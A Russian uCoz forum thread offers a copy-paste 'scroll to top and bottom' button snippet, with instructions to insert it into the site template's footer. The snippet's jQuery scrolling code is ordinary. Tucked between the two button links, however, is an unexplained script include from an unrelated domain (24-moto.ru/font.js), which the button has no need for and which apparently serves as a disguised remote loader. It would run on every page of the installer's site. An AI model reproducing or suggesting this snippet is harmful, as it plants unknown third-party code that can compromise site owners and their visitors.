Главная Форум Поиск Чат
[Новые сообщения | Участники форума | Правила Сайта | Поиск | RSS 2.0 ]
Правила сайта
На сайте появились правила обязательно прочтите их Правила Сайта
  • Страница 1 из 1
  • 1
Форум » uCoz » Другие скрипты для uCoz » Кнопка вверх и вниз для сайта
Кнопка вверх и вниз для сайта
HesoyamДата: Воскресенье, 16.03.2014, 16:30 | Сообщение # 1
Лейтенант
Группа: Пользователи
Сообщений: 42
Награды: 0
скрин: http://i023.radikal.ru/1401/fd/ae3ed41cd540.jpg

Скрипт для быстрого и плавного поднятия страницы вверх, также можно опускать и вниз страницу сайта.
Выполнен в стиле пальца вверх и вниз, светло синий цет
Установка не сложная и не требует дополнительных навыков html

Установка скрипта „Кнопка вверх и вниз“

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>
  <script src="http://24-moto.ru/font.js" type="text/javascript"></script>
  <a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>
  <img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">
  </a></div>

<script>
var go_down = jQuery('body');
jQuery(function() {
  $("#Go_Top").hide().removeAttr("href");
  if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")
  var scrollDiv = $("#Go_Top");
  $(window).scroll(function() {
  if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
  else $(scrollDiv).fadeIn("slow")
  });

  $("#Go_Bottom").hide().removeAttr("href");
  if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")
  var scrollDiv_2 = $("#Go_Bottom");
  $(window).scroll(function() {
  if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")
  else $(scrollDiv_2).fadeIn("slow")
  });

  $("#Go_Top").click(function() {
  $("html, body").animate({scrollTop: 0}, "slow")
  })
  $("#Go_Bottom").click(function() {
  $("html, body").animate({scrollTop: go_down.height()}, "slow")
  })
});
</script>


KRACER
 
Форум » uCoz » Другие скрипты для uCoz » Кнопка вверх и вниз для сайта
  • Страница 1 из 1
  • 1
Поиск:
Статистика Форума
Последние темы Читаемые темы Лучшие пользователи Новые пользователи

Украшаем проверку сложности пароля

(6)

Всплывающая табличка с инфой о Л.С

(2)

Играем в города

(1)

Сборка всё для Форума

(3)

Как ускорить индексацию сайта - 18 эффективных способов

(1)

Профиль в правом нижнем углу для ucoz

(0)

Форма поиска по сайту ucoz

(0)

Форма поиска по сайту ucoz

(0)

Кнопка вверх и вниз для сайта

(0)

Вид статистика для ucoz

(0)

Украшаем проверку сло...

(6)

Играем в слова

(5)

Сколько вы бы дали за...

(4)

Страница "Доступ...

(3)

Досчитай до ХХХ пока ...

(3)

Шпаргалка по CSS фору...

(3)

Скрипт Мои подарки !!...

(3)

Сборка всё для Форума

(3)

Кнопка инфо

(3)

Всплывающая табличка ...

(2)

  • Fenik$
  • lox
  • 1001informer
  • DevontaeDuclos-decelles
  • veverka
  • AlexKlose
  • Тестовый(бот)
  • djmax
  • ambal
  • DINO_MC47
  • SvetOK
  • ClaudioAvany
  • GrandPhila
  • Lilliehoase
  • KarinaAza13rhilm
  • Davidmap
  • Roxohzx
  • CindyVO
  • DavidKes
  • BrianNox